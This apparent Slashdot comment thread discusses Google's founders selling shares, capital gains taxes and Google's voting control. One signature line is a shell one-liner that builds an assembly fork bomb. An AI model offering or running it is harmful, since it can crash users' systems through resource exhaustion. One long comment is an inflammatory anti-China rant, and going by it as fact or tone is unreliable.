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Larry & Sergey To Cash In $5.5B of Google Chips
theodp writes "According to an SEC filing, Google founders Larry Page and Sergey Brin have adopted five-year trading plans to sell about 5M shares each, which would yield each about $2.75B based on Friday's closing stock price of $550.01. BTW, Google kicks in 12 cents to Social Security and another 2 cents to Medicare on its founders' celebrated $1 annual salaries." After this stock is sold, the founders will hold less than 50% of the voting shares and thus will give up voting control of Google.
Also, since Eric Schmidt isn't selling his shares, the three of them together will have far more than 50% of the voting shares. (reference)
Except that money from capital gains are not subject to either Social Security or Medicare. Taxes for those programs are deducted from employment income, not investment income. Furthermore, capital gains tax rates are significantly lower than those for ordinary income - currently the former is capped at 15%, while the latter is 39%. Not a knock on the Google founders specifically, but rather on the wealthy in general - as Warren Buffet has pointed out, our tax system is skewed so that wealthy folks like himself pay an effective tax rate of 17.7%, while his secretary is taxed at 30%.
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, it depends on what you mean by "a flat tax". People pushing the flat tax, like Steve Forbes, have typically been pushing for a flat tax on wage and salary income, but that excludes capital gains entirely. One flat tax of x% for the working schmucks, and another flat tax of 0% for the trust-fund kids like Steve Forbes.
If it were a flat tax that included capital gains, that might have a better chance of going somewhere, but the major flat-tax proponents have not been pushing that. Though even in that case you would have a bunch of entrenched popular deductions that people would try to pull in, like the mortgage-interest deduction, the deduction on money donated to charity, etc.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
That's just paranoia! This is what is really happening...
As they sell their shares, other mutual funds and pension funds will buy the stock as "investments" - those mutual funds and pensions won't be really well known. It'll be something like the Virginia Government Employee Retirement Fund or what have you. Now, those funds would be managed by a company that's called, the Center Investing Authority - let's say. Now that company is actually a shell company based in the Cayman Islands. Their agents in the Caymans would be Guido Catelloni, Fettuccine Alfredo and Jose Paco Horowitz. Of course, it's really a ruse. Since the true owners are in Iceland. So, you have Igottafatdottir as being the power behind the Cayman name, Now, you'd think that that money was stolen from the current Icelandic financial crisis. Nope! the money actually came from Italy. You see the Cayman Island guys are actually the real guys BUT they're Jesuit priests! That's right! The Catholic Church is buying up Google and pinning it on the Chinese. Why is the Catholics buying Google? Why to launder all that treasure from the Crusades!
See, you're theory is just too far fetched, as for mine, well, there's a couple of millennia of history to back it up.
As a 23 yr old, neither will I.
Sigs are too short to say anything truly profound so read the above post instead.
You mean Mr. "If You Have Something You Don't Want Anyone To Know, Maybe You Shouldn't Be Doing It"? Sure, I'll sleep soundly tonight.
He stayed on Apple's board long after he knew about the Android move, and he's usually the one pushing the "it's technically not illegal" line. I don't see that he's the best person anyone would like to leave their data with. IMO, prepare for more Facebook-esque pranks from Google in the near future.
Entomologically speaking, the spider is not a bug, it's a feature.
You know what? When it comes to face, I think the rest of the planet needs to make it so they lose face all the time. They need to, untrustworthy gangster scum need to "lose face". We should stop kowtowing to them like that, ALL the time. The only face they really want is your face with their economic and physical boot in it. Screw that.
The Chinese "leaders" are the direct unbroken political descendants of a regime that murdered millions of their own people and engaged in genocide with other people. I have no idea why we even set out on this path to make them richer and more powerful, we wouldn't have done that with the stalinists, nope, nor hitlerites if they were still in power, but for some reason, these murderers get a free pass, like we are just supposed to play make believe history didn't happen and today's reality isn't happening.
The industrialized and more civilized nations (in cahoots with various big business trader traitors and their political puppets) handed them for free, or sold cheap, or they outright stole, and continue to steal, most of the crown jewels of the knowledge and techniques of said industrialization and modernization and *still* we are supposed to be oh so freaking worried about their "face". Well...too bad!
*(*&&*( their dang tyrannical despotic "face", they *need* to "lose face" for being mass jerks. (**&*^ all this bowing and scraping and treating them like they are civilized and honorable. They aren't, they are just modernized thugs, same as they have always been, and getting more powerful daily. They are and have been a major serious threat to the rest of the planet.
The best thing we could do is pull out, make all these stupid global companies just pull the heck out as well, or kick them out, before we are too poor and too far gone into stupid debt, before it is too late to build back up the west's industrial base, the true wealth creation parts of our economies.
That's the main reason we are hurting economically, we let them billionaire traitorous skunks with their despotic allies with their precious "face" swap out our manufacturing for that conman crap about being a "service" economy and emphasizing high stakes casino gambling as some sort of wealth creation "industry". Then they ran that little multi trillion bail out pure extortion racket on top of that!
There's been ZERO quid pro quo budge with them people, no reform inside that nation, no freedoms there except the freedom to be global class crooks, with caveat emptor products, since we handed them the means for wealth creation. All they have done is gone on an around the world grabbing spree, grabing industry after industry, and now raw resource after raw resource, and every time some one dares to point this out, the wall street gangster tools and their chinese mafia brothers cry "protectionism!" BS, they have been "protecting" that cooperating mob gang since day one, it's time for a little more proactive self defense *protection* back.
YEAH! Google should be all about the short term and next quarter's profits! That's how our economy's so strong today!